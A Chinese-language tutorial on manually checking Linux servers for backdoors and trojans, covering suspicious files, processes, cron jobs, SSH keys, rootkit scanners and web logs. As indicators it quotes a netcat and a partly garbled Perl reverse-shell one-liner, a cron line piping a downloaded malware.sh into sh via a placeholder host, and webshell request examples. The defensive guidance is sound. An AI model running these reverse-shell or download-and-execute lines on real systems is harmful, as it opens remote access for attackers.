手工排查后門木馬的常用姿勢

聲明!本文章所有的工具分享僅僅只是供大家學習交流為主,切勿用于非法用途,如有任何觸犯法律的行為,均與本人及團隊無關!!!

1. 檢查異常文件

(1)查找最近修改的文件

# 查找最近3天內被修改的文件(重點檢查Web目錄)
find /var/www/ -type f -mtime -3 -ls | sort -k8

● 重點關注:.php、.jsp、.asp、.sh 等可執行文件。


● 隱藏文件:檢查 /tmp/、/dev/shm/ 等臨時目錄。

(2)查找可疑文件名

# 查找包含常見后門特征的文件名
find / -name "*shell*" -o -name "*backdoor*" -o -name "*b374k*" -o -name "*c99*" -ls

● 常見WebShell:shell.php、b374k.php、c99.php、wso.php。

● 隱藏技巧:攻擊者可能使用 …gif.php 偽裝成圖片。

(3)查找大文件(可能含加密數據)

find / -type f -size +5M -exec ls -lh {} \; | grep -v "log\|cache"

● 異常大文件:可能是攻擊者存放的加密數據或惡意代碼。

2. 檢查異常進程

(1)查看運行中的可疑進程

ps aux | grep -E "(sh|bash|perl|python|nc|ncat|socat|wget|curl|\.\/)"

● 常見后門進程:

● nc -lvp 4444 -e /bin/bash(反彈Shell)

● perl -e 'use Socket; i = " x . x . x . x " ; i="x.x.x.x"; i="x.x.x.x";p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,ineta?ton(i)));open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);

(2)檢查隱藏進程

# 查看所有進程(包括無二進制文件的進程)
top -c

● 異常進程:無對應文件、占用高CPU、奇怪命令行參數。

(3)檢查網絡連接

netstat -antp | grep ESTABLISHED
ss -tulnp

● 可疑外聯IP:連接到未知IP的 bash、sh、nc 進程。

3. 檢查定時任務

(1)查看用戶級定時任務

crontab -l

(2)檢查系統級定時任務

ls -la /etc/cron.*
cat /etc/crontab

● 異常任務:如 wget http://x.x.x.x/malware.sh | sh。

4. 檢查SSH后門

(1)查看SSH登錄記錄

cat /var/log/auth.log | grep "Accepted"
cat /var/log/secure | grep "Accepted"  # CentOS

● 異常登錄:陌生IP、非工作時間登錄。

(2)檢查SSH密鑰

ls -la ~/.ssh/authorized_keys

● 攻擊者可能添加自己的公鑰,實現免密登錄。

(3)檢查SSH配置文件

cat /etc/ssh/sshd_config | grep -E "(PermitRootLogin|AllowUsers|Port)"

● 異常配置:PermitRootLogin yes(應禁用root登錄)

5. 檢查內核級Rootkit

(1)檢查系統調用劫持

strace -p <PID>  # 跟蹤進程的系統調用

● 異常行為:如 open(“/etc/shadow”) 或 execve(“/bin/sh”)。

(2)使用專用工具檢測

# 安裝并運行Rootkit檢測工具
sudo apt install rkhunter chkrootkit -y
sudo rkhunter --check
sudo chkrootkit

6. 檢查Web日志

(1)查找可疑HTTP請求

cat /var/log/apache2/access.log | grep -E "(cmd=|eval|system|passthru|shell_exec)"

● 常見攻擊特征:
○ GET /index.php?cmd=whoami
○ POST /upload.php -F “file=@shell.php”

(2)檢查大流量IP

cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -n 10

● 高頻訪問IP:可能是攻擊者在掃描或爆破。

7.總結

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/74083.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/74083.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/74083.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

工業機器人核心算法體系解析:從感知到決策的技術演進

工業機器人作為智能制造的核心裝備,其技術競爭力的本質是算法體系的優化與創新。從靜態軌跡執行到動態環境適應,從單一任務控制到復雜場景決策,工業機器人的算法體系涵蓋環境感知、運動控制、路徑規劃、行為決策四大核心模塊。本文將深入解析各模塊的關鍵算法及其技術演進,…

當 EcuBus-Pro + UTA0401 遇上 NSUC1500

文章目錄 1.前言2.EcuBus-Pro簡介2.1 官方地址2.2 概覽 3.納芯微NSUC1500簡介3.1 NSUC1500概述3.2 產品特性 4.測試環境5.基礎功能5.1 數據發送5.2 數據監控 6.自動化功能6.1 腳本創建6.2 腳本編輯6.3 腳本編輯與測試 7.音樂律動7.1 導入例程7.2 效果展示 ECB工程 1.前言 最近…

說說Redis的內存淘汰策略?

大家好&#xff0c;我是鋒哥。今天分享關于【說說Redis的內存淘汰策略?】面試題。希望對大家有幫助&#xff1b; 說說Redis的內存淘汰策略? 1000道 互聯網大廠Java工程師 精選面試題-Java資源分享網 Redis的內存淘汰策略用于管理當內存達到最大限制時&#xff0c;如何處理過…

Python實現音頻數字水印方法

數字水印技術可以將隱藏信息嵌入到音頻文件中而不明顯影響音頻質量。下面我將介紹幾種在Python中實現音頻數字水印的方法。 方法一&#xff1a;LSB (最低有效位) 水印 import numpy as np from scipy.io import wavfile def embed_watermark_lsb(audio_path, watermark, ou…

Altium Designer 24 PCB 走線倒圓弧方法

Altium Designer 24 PCB 走線倒圓弧方法 問題描述解決方法設置倒圓弧參數選擇需要優化的走線進行走線優化 優化效果展示 在 PCB 設計中&#xff0c;走線轉角過于尖銳不僅影響美觀&#xff0c;還可能引起信號完整性問題。本文介紹如何在 Altium Designer 24 中通過倒圓弧優化走線…

Cookie與Token詳解及測試需重點關注點

在現代Web應用中&#xff0c;Cookie 和 Token 是兩種常見的身份驗證與會話管理機制。它們分別在不同的場景下扮演著重要的角色&#xff0c;在性能、靈活性和安全性方面具有各自的特點。作為測試人員&#xff0c;理解它們的工作原理以及如何對其進行有效的測試&#xff0c;是保證…

Unity 2022.3.x部分Android設備播放視頻黑屏問題

Android平臺視頻兼容性問題很多…類似的黑屏問題真的很頭大&#xff0c;總結一些常見問題&#xff1a; 1. 視頻文件不支持壓縮 如果使用AssetBundle加載視頻&#xff0c;這個AssetBundle壓縮格式要選None。有人可能會說最新版Unity已經支持bundle壓縮下播放視頻&#xff0c;穩…

Redis - 概述

目錄 ?編輯 一、什么是redis 二、redis能做什么&#xff08;有什么特點&#xff09;&#xff1f; 三、redis有什么優勢 四、Redis與其他key-value存儲有什么不同 五、Redis命令 六、Redis數據結構 1、基礎數據結構 2、高級數據結構 一、什么是redis 1、redis&#x…

數據庫部署在服務器表不存在解決方案

MySQL 數據庫表不存在錯誤解決方案 MySqlException (0x80004005): Table store.SysLogOperate doesnt exist 服務器用的mysql5.6 用這個表syslogoperate只是全是小寫 看起來你在使用 Pomelo.EntityFrameworkCore.MySql 作為 MySQL 數據庫的提供程序&#xff0c;并且在初始化…

圖靈完備——游戲中進行實踐

圖靈完備 簡述結構一、基本邏輯電路1、低電平2、高電平3、非門4、與門5、三路與門6、或門7、三路或門8、與非門9、或非門10、異或門11、同或門 二、算數運算&&存儲器1、二進制速算2、成對的麻煩 簡述 這周就要學習計算機組成原理了&#xff0c;為了學起來不那么吃力&am…

踏過強化學習的每一步推導

給定 l [ a n , . . . , a 0 ] l[a_n, ..., a_0] l[an?,...,a0?]&#xff0c;現在 for idx in range(len(l)-2, -1, -1):l[idx] l[idx1] * ld注&#xff1a;這里的ld就是 λ \lambda λ&#xff0c;定義 λ 0 1 \lambda^01 λ01 證明變換后&#xff1a; l [ ∑ i 0 n …

AI小白的第七天:必要的數學知識(概率)

概率 Probability 1. 概率的定義 概率是一個介于 0 和 1 之間的數&#xff0c;表示某個事件發生的可能性&#xff1a; 0&#xff1a;事件不可能發生。1&#xff1a;事件必然發生。0 到 1 之間&#xff1a;事件發生的可能性大小。 例如&#xff0c;擲一枚公平的硬幣&#xf…

UE5 + Rider + VsCode 接入騰訊的 Puerts 腳本

學習了一段時間 U&#xff0c;寫點啥就得等編譯&#xff0c;體驗真的是一言難盡。。。。。。 然后就想著給自己找個腳本好了&#xff0c;調研了一下 AngelScript&#xff0c;puerts 的可行性。 AngelScript 看著真的誘人&#xff0c;但是發現連官方提供的都是 UE 的預編譯版本…

凸包構造算法—Graham 掃描法

1. 理論原理推導 核心思想 Graham 掃描法基于以下基本思想&#xff1a; 極角排序&#xff1a; 選取一個參考點&#xff08;通常選擇 y 坐標最小的點&#xff0c;若存在多個&#xff0c;則選 x 坐標最小的&#xff09;&#xff0c;將其他點按照與該參考點構成的極角進行升序排…

如何在 Windows 上安裝與配置 Tomcat

Apache Tomcat 是一個開源的 Servlet 容器和 Web 服務器&#xff0c;廣泛用于 Java Web 應用的開發和部署。它是實現 Java EE&#xff08;現稱 Jakarta EE&#xff09;規范中的 Servlet 和 JSP 的官方參考實現。在本文中&#xff0c;我們將詳細介紹如何在 Windows 系統上安裝并…

測試模版15

本篇技術博文摘要 &#x1f31f; 引言 &#x1f4d8; 在這個變幻莫測、快速發展的技術時代&#xff0c;與時俱進是每個IT工程師的必修課。我是盛透側視攻城獅&#xff0c;一名什么都會一丟丟的網絡安全工程師&#xff0c;也是眾多技術社區的活躍成員以及多家大廠官方認可人員&a…

攔截、限流,針對場景詳細信息(一)

以下是一個基于Java Spring Boot Redis 的完整限流實現案例&#xff0c;針對同一接口前綴&#xff08;如 /one/ &#xff09;的IP訪問頻率控制&#xff1a; 場景&#xff1a;用戶不用登錄即可訪問接口&#xff0c;網站會有被攻擊的風險 URL&#xff1a;one/two/three one/…

計算機視覺算法實戰——煙霧檢測

?個人主頁歡迎您的訪問 ?期待您的三連 ? ?個人主頁歡迎您的訪問 ?期待您的三連 ? ?個人主頁歡迎您的訪問 ?期待您的三連? ??? ????????? ?? 1. 煙霧檢測領域介紹 煙霧檢測是計算機視覺在公共安全領域的重要應用&#xff0c;它通過分析視頻或圖像序…

MySQL-DCL函數

DCL DCL英文全稱是Data Control Language(數據控制語言)&#xff0c;用來管理數據庫用戶、控制數據庫的訪問權限。 管理用戶 1). 查詢用戶 use mysql; select * from user; select * from mysql.user; 查詢的結果如下: 其中 Host代表當前用戶訪問的主機, 如果為localhost, 僅…

linux 服務器創建服務器啟動后服務自啟動

1、在/etc/systemd/system/下touch一個文件&#xff1a; touch /etc/systemd/system/your_application.service 2、在文件中寫入&#xff1a; [Unit] Descriptionmodules-system Aftersyslog.target[Service] Typeforking Userroot Grouproot ExecStart/bin/bash /usr/loca…